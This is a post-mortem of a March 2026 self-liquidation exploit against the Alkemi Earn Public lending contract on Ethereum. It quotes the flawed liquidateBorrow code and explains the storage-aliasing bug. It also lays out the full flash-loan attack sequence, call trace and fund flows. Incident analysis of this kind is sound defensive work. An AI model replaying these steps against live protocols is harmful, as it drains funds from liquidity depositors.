Alkemi Earn Public — Self-Liquidation via Storage Aliasing
On March 10, 2026, an attacker exploited the liquidateBorrow function of the Alkemi Earn Public lending protocol on Ethereum mainnet (block 24,626,979) to self-liquidate their own solvent position. The root cause is a compound vulnerability: liquidateBorrow lacks both a self-liquidation guard (require(msg.sender != targetAccount)) and an insolvency enforcement check. When the borrower and liquidator are the same address and the same asset is used for both borrow and collateral, two storage pointer aliases refer to the same storage slot, causing the supply balance write for the “borrower” to be immediately overwritten by the write for the “liquidator,” resulting in a net credit of supply + seize instead of just supply. The attacker supplied 50 ETH, borrowed 39.5 ETH, self-liquidated their healthy position to inflate their supply balance to 93.5 ETH, and withdrew all collateral — earning approximately 43.45 ETH ($108,600 at ~$2,500/ETH) in profit.
Root Cause
Vulnerable Contract
- Name: AlkemiEarnPublic
- Proxy address:
0x4822d9172e5b76b9db37b75f5552f9988f98a888 - Implementation address:
0x85a948fd70b2b415bda93324581fb5fff1293df7 - Proxy type: EIP-1967 transparent proxy; all execution occurs in the implementation
- Source type: Verified (Etherscan)
Vulnerable Function
- Function:
liquidateBorrow(address targetAccount, address assetBorrow, address assetCollateral, uint256 requestedAmountClose) - Selector:
0xe61604cf - File:
0x85a948fd70b2b415bda93324581fb5fff1293df7.sol, line 3444
Vulnerable Code
// [AlkemiEarnPublic implementation — 0x85a948fd70b2b415bda93324581fb5fff1293df7.sol, line 3444]
function liquidateBorrow(
address targetAccount,
address assetBorrow,
address assetCollateral,
uint256 requestedAmountClose
) public payable returns (uint256) {
if (paused) {
return fail(Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED);
}
if(assetBorrow == wethAddress && requestedAmountClose != msg.value) {
revertEtherToUser(msg.sender, msg.value);
revert("ETHER_AMOUNT_MISMATCH_ERROR");
}
// <-- VULNERABILITY 1: No check that msg.sender != targetAccount.
// A user can liquidate themselves, gaining the liquidation discount on their own position.
refreshAlkSupplyIndex(assetCollateral, targetAccount, false);
refreshAlkSupplyIndex(assetCollateral, msg.sender, false); // When self-liquidating, same address
refreshAlkBorrowIndex(assetBorrow, targetAccount, false);
LiquidateLocalVars memory localResults;
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender; // <-- same as targetAccount
localResults.assetCollateral = assetCollateral;
// ...interest rate accrual calculations omitted for brevity...
// Storage pointers for the borrower's collateral balance:
Balance storage supplyBalance_TargetCollateralAsset =
supplyBalances[targetAccount][assetCollateral]; // supplyBalances[ATTACKER][WETH_GATEWAY]
// Storage pointer for the liquidator's collateral balance:
Balance storage supplyBalance_LiquidatorCollateralAsset =
supplyBalances[localResults.liquidator][assetCollateral]; // supplyBalances[ATTACKER][WETH_GATEWAY]
// <-- VULNERABILITY 2 (Storage Aliasing): When targetAccount == msg.sender AND
// assetBorrow == assetCollateral, both storage pointers reference the SAME
// storage slot. The function reads both before writing, then writes them in sequence.
// The liquidator write overwrites the borrower write.
// ... (calculations use in-memory copies, so aliasing does not affect them) ...
// After all calculations (in memory):
// updatedSupplyBalance_TargetCollateralAsset = supplyCurrent - seizeAmount (e.g. 50 - 43.49 = 6.51 ETH)
// updatedSupplyBalance_LiquidatorCollateralAsset = supplyCurrent + seizeAmount (e.g. 50 + 43.49 = 93.49 ETH)
// EFFECTS — write back to storage:
// Write 1 (borrower): sets the shared slot to (supply - seize)
supplyBalance_TargetCollateralAsset.principal = localResults.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults.newSupplyIndex_CollateralAsset;
// Write 2 (liquidator): OVERWRITES Write 1 on the same storage slot with (supply + seize)
supplyBalance_LiquidatorCollateralAsset.principal = localResults.updatedSupplyBalance_LiquidatorCollateralAsset; // <-- VULNERABILITY
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults.newSupplyIndex_CollateralAsset;
// Final result: slot holds (supply + seize) = 93.49 ETH instead of the intended 6.51 ETH
// The protocol's totalSupply is also inflated, but there is no invariant that prevents withdrawal.
}
Additionally, there is no insolvency check in liquidateBorrow. The function delegates max-closeable amount computation to calculateDiscountedRepayToEvenAmount, which reads the target’s shortfall but uses closeFactorMantissa * borrowBalance as the numerator in the division — not the shortfall itself. A fully solvent borrower therefore passes through the max-closeable calculation with a non-zero permitted amount:
// [line 4046 — calculateDiscountedRepayToEvenAmount]
// accountShortfall_TargetUser is 0 for a solvent borrower, but it is NEVER checked.
// The cap is derived from closeFactorMantissa * borrowBalance, not from shortfall.
uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow);
(err, maxClose) = mulScalar(Exp({mantissa: closeFactorMantissa}), borrowBalance);
// ...
(err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset); // <-- shortfall not used
return (Error.NO_ERROR, truncate(rawResult));
// No require/revert if accountShortfall_TargetUser == 0. // <-- VULNERABILITY
Why It’s Vulnerable
Expected behavior: liquidateBorrow should (a) require that the liquidator is not the borrower (msg.sender != targetAccount), and (b) require that the borrower’s account is actually underwater (accountShortfall > 0) before permitting liquidation. These two guards are standard in all major lending protocol forks (Compound, Aave, etc.).
Actual behavior: Neither guard exists. When msg.sender == targetAccount and assetBorrow == assetCollateral, the two Balance storage pointers supplyBalance_TargetCollateralAsset and supplyBalance_LiquidatorCollateralAsset resolve to identical storage slots. The function reads both slot values into memory correctly (both reflect the same 50 ETH supply), computes updatedTarget = 50 - seize and updatedLiquidator = 50 + seize separately in memory, then writes both to the same slot sequentially. The liquidator write wins (last write takes precedence), so the slot ends up holding supply + seize — effectively minting ETH collateral credit out of thin air.
Why this matters: An attacker with any capital can:
- Supply as collateral,
- Borrow up to the permitted LTV,
- Pay back the borrowed amount (via
liquidateBorrow) to trigger the storage alias, - Withdraw collateral far in excess of what was deposited — draining the protocol’s ETH reserves.
Normal flow vs attack flow for assetBorrow == assetCollateral:
| Step | Normal (two different users) | Attack (self-liquidation) |
|---|---|---|
| Borrower slot after liquidation | supply - seize (reduced) | Written, then overwritten |
| Liquidator slot after liquidation | 0 + seize (gained) | supply + seize (wins) |
| Net protocol supply liability | Unchanged (transfer) | Increased by supply |
Attack Execution
High-Level Flow
- Attacker EOA (
0x0ed1c01b8420a965d7bd2374db02896464c91cd7) deploys attack contract (0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b) and callsattack(50 ETH, ~39.36 ETH). - Attack contract calls Balancer V2 Vault (
0xba12...f2c8) to flash-borrow 51 WETH. - Inside the
receiveFlashLoancallback, attack contract unwraps 51 WETH → 51 ETH viaWETH.withdraw. - Attack contract calls
AlkemiEarnPublic.supply(AlkemiWETHGateway, 50 ETH), depositing 50 ETH as collateral into the protocol. Protocol mints an internal supply balance of 50 ETH against the attack contract’s address. - Attack contract calls
AlkemiEarnPublic.borrow(AlkemiWETHGateway, 39.5 ETH), borrowing 39.5 ETH (the protocol immediately returns ETH viaAlkemiWETHGateway.withdraw; the borrow balance accrues interest to 39.5395 ETH by step 6). - Attack contract queries
getBorrowBalanceto obtain the exact current borrow balance (39.5395 ETH with accrued interest), then callsAlkemiEarnPublic.liquidateBorrow(attackerContract, WETH_GATEWAY, WETH_GATEWAY, 39.5395 ETH)sending exactly 39.5395 ETH asmsg.value. The function performs the self-liquidation: borrow balance is zeroed, and the supply balance slot is inflated from 50 ETH to ~93.49 ETH due to storage aliasing. - Attack contract calls
AlkemiEarnPublic.withdraw(AlkemiWETHGateway, uint256.max), withdrawing the full 93.49 ETH supply balance. TheAlkemiWETHGatewaysends 93.49 ETH back to the attack contract. - Attack contract wraps 51 ETH back to WETH (
WETH.deposit), transfers 51 WETH to Balancer to repay the flash loan (zero fee). - Attack contract sends 43.45 ETH profit to the attacker EOA.
Detailed Call Trace
[CALL] AttackerEOA (0x0ed1..1cd7) → AttackerContract (0xe408..794b)
attack(uint256,uint256) sel=0xe1fa7638 value=0 ETH
[CALL] AttackerContract → BalancerVault (0xba12..f2c8)
flashLoan(address,address[],uint256[],bytes) sel=0x5c38449e value=0 ETH
# Borrows 51 WETH (0x2c3c465ca58ec0000 = 51e18)
[CALL] BalancerVault → WETH (0xc02a..6cc2)
transfer(address,uint256) sel=0xa9059cbb value=0 ETH
# Transfers 51 WETH to AttackerContract
[CALL] BalancerVault → AttackerContract (0xe408..794b)
receiveFlashLoan(address[],uint256[],uint256[],bytes) sel=0xf04f2707
[CALL] AttackerContract → WETH (0xc02a..6cc2)
withdraw(uint256) sel=0x2e1a7d4d value=0 ETH
# Unwraps 51 WETH → 51 ETH
[CALL] WETH → AttackerContract 0x (ETH transfer) value=51.0000 ETH
[CALL] AttackerContract → AlkemiEarnPublic proxy (0x4822..a888)
supply(address,uint256) sel=0xf2b9fdb8 value=50.0000 ETH
# Deposits 50 ETH as collateral (assetCollateral = AlkemiWETHGateway)
[DELEGATECALL] Proxy → AlkemiEarnPublic impl (0x85a9..3df7)
supply(address,uint256) sel=0xf2b9fdb8 value=50.0000 ETH
[CALL] AlkemiEarnPublic → AlkemiWETHGateway (0x8125..40ab)
deposit() sel=0xd0e30db0 value=50.0000 ETH
# refreshAlkSupplyIndex × 10 (ALK reward index updates — not exploited)
[CALL] AttackerContract → AlkemiEarnPublic proxy (0x4822..a888)
borrow(address,uint256) sel=0x4b8a3529 value=0 ETH
# Borrows ~39.36 ETH (exact amount from attack() arg)
[DELEGATECALL] Proxy → AlkemiEarnPublic impl (0x85a9..3df7)
borrow(address,uint256) sel=0x4b8a3529 value=0 ETH
[CALL] AlkemiEarnPublic → AlkemiWETHGateway (0x8125..40ab)
withdraw(address,uint256) sel=0xf3fef3a3 value=0 ETH
[CALL] AlkemiWETHGateway → AttackerContract 0x value=39.5000 ETH
[STATICCALL] AttackerContract → AlkemiEarnPublic proxy (0x4822..a888)
getBorrowBalance(address,address) sel=0x118e31b7 value=0 ETH
# Returns 39.5395 ETH (includes accrued interest)
[DELEGATECALL] Proxy → impl getBorrowBalance → 39.5395 ETH
[CALL] AttackerContract → AlkemiEarnPublic proxy (0x4822..a888)
liquidateBorrow(address,address,address,uint256) sel=0xe61604cf
# targetAccount = 0xe408..794b (self), assetBorrow = WETH_GATEWAY,
# assetCollateral = WETH_GATEWAY, requestedAmountClose = 39.5395 ETH
# msg.value = 39.5395 ETH
[DELEGATECALL] Proxy → AlkemiEarnPublic impl (0x85a9..3df7)
liquidateBorrow(...) value=39.5395 ETH
# Storage alias triggers: supply balance slot inflated to 93.49 ETH
[CALL] AlkemiEarnPublic → AlkemiWETHGateway (0x8125..40ab)
deposit() sel=0xd0e30db0 value=39.5395 ETH
# refreshAlkSupplyIndex/BorrowIndex calls (ALK accounting only)
[CALL] AttackerContract → AlkemiEarnPublic proxy (0x4822..a888)
withdraw(address,uint256) sel=0xf3fef3a3 value=0 ETH
# Withdraws max (uint256.max) — protocol pays out 93.49345 ETH
[DELEGATECALL] Proxy → AlkemiEarnPublic impl (0x85a9..3df7)
withdraw(address,uint256)
[CALL] AlkemiEarnPublic → AlkemiWETHGateway (0x8125..40ab)
withdraw(address,uint256) sel=0xf3fef3a3
[CALL] AlkemiWETHGateway → AttackerContract 0x value=93.4934 ETH
[CALL] AttackerContract → WETH (0xc02a..6cc2)
deposit() sel=0xd0e30db0 value=51.0000 ETH
# Wraps 51 ETH → 51 WETH for flash loan repayment
[CALL] AttackerContract → WETH (0xc02a..6cc2)
transfer(address,uint256) sel=0xa9059cbb value=0 ETH
# Transfers 51 WETH to BalancerVault (flash loan repayment, 0 fee)
[CALL] AttackerContract → AttackerEOA (0x0ed1..1cd7)
0x value=43.4539 ETH
# Profit sent to EOA
Financial Impact
Source: funds_flow.json (primary evidence).
| Flow | Amount | Direction |
|---|---|---|
| Flash loan received (WETH) | 51.0000 WETH | Balancer → Attacker |
| ETH supply (collateral) | 50.0000 ETH | Attacker → AlkemiEarnPublic |
| ETH borrow proceeds | 39.5000 ETH | AlkemiEarnPublic → Attacker |
| ETH liquidation repay | 39.5395 ETH | Attacker → AlkemiEarnPublic |
| ETH withdrawal (inflated) | 93.4934 ETH | AlkemiEarnPublic → Attacker |
| Flash loan repaid (WETH) | 51.0000 WETH | Attacker → Balancer |
| Net ETH profit to EOA | 43.45395 ETH | Attacker → AttackerEOA |
Attacker EOA balance change: from 0.0993 ETH to 43.5522 ETH — net gain of 43.4529 ETH (gas costs account for the ~0.001 ETH difference from the attacker_gains figure).
At approximately $2,500/ETH (ETH price around March 10, 2026), the attacker gained roughly $108,600. The AlkemiEarnPublic protocol’s ETH reserves were drained by the net surplus: the protocol paid out 93.49 ETH but only received 50 ETH (supply) + 39.54 ETH (liquidation repay) = 89.54 ETH in — a net drain of ~43.49 ETH from protocol liquidity providers.
The protocol’s ETH market is effectively drained of ~43.5 ETH that was never legitimately earned; LP depositors absorb this loss. Other token markets (USDC, WBTC, DAI) are unaffected.
Evidence
Transaction: 0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d
Block: 24,626,979 — timestamp 2026-03-10 12:10:11 UTC
Receipt status: 0x1 (success)
Selector verification (via cast sig):
liquidateBorrow(address,address,address,uint256)→0xe61604cf✓supply(address,uint256)→0xf2b9fdb8✓borrow(address,uint256)→0x4b8a3529✓withdraw(address,uint256)→0xf3fef3a3✓getBorrowBalance(address,address)→0x118e31b7✓
Self-liquidation confirmed by trace: liquidateBorrow caller 0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b == targetAccount parameter 0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b (verified from decoded calldata).
assetBorrow == assetCollateral: both parameters equal 0x8125afd067094cd573255f82795339b9fe2a40ab (AlkemiWETHGateway), confirmed in calldata.
Storage aliasing arithmetic:
closeBorrowAmount= 39.5395 ETH (from trace andgetBorrowBalancereturn)seizeSupplyAmount= 39.5395 × 1.1 (liquidation discount 10%) = 43.49345 ETH- Expected final supply (write 2 overwrites write 1):
50 + 43.49345 = 93.49345 ETH - Actual withdrawn: 93.49345 ETH (match within 0.00005 ETH rounding) ✓
Key Transfer events (log indices from receipt):
- Log 8: WETH Transfer
BalancerVault → AttackerContract, 51 WETH (flash loan) - Log 18: AlkemiWETH minted to AlkemiEarnPublic, 50 ETH (supply)
- Log 28: AlkemiWETH burned from AlkemiEarnPublic, 39.5 ETH (borrow)
- Log 55: AlkemiWETH minted to AlkemiEarnPublic, 39.5395 ETH (liquidation repay)
- Log 75: AlkemiWETH burned from AlkemiEarnPublic, 93.49345 ETH (withdraw — inflated)
- Log 78: WETH Transfer
AttackerContract → BalancerVault, 51 WETH (flash loan repayment)
Related URLs
- Transaction: https://etherscan.io/tx/0xa17001eb39f867b8bed850de9107018a2d2503f95f15e4dceb7d68fff5ef6d9d
- AlkemiEarnPublic proxy: https://etherscan.io/address/0x4822d9172e5b76b9db37b75f5552f9988f98a888
- AlkemiEarnPublic implementation: https://etherscan.io/address/0x85a948fd70b2b415bda93324581fb5fff1293df7
- Attacker EOA: https://etherscan.io/address/0x0ed1c01b8420a965d7bd2374db02896464c91cd7
- Attacker contract: https://etherscan.io/address/0xe408b52aefb27a2fb4f1cd760a76daa4bf23794b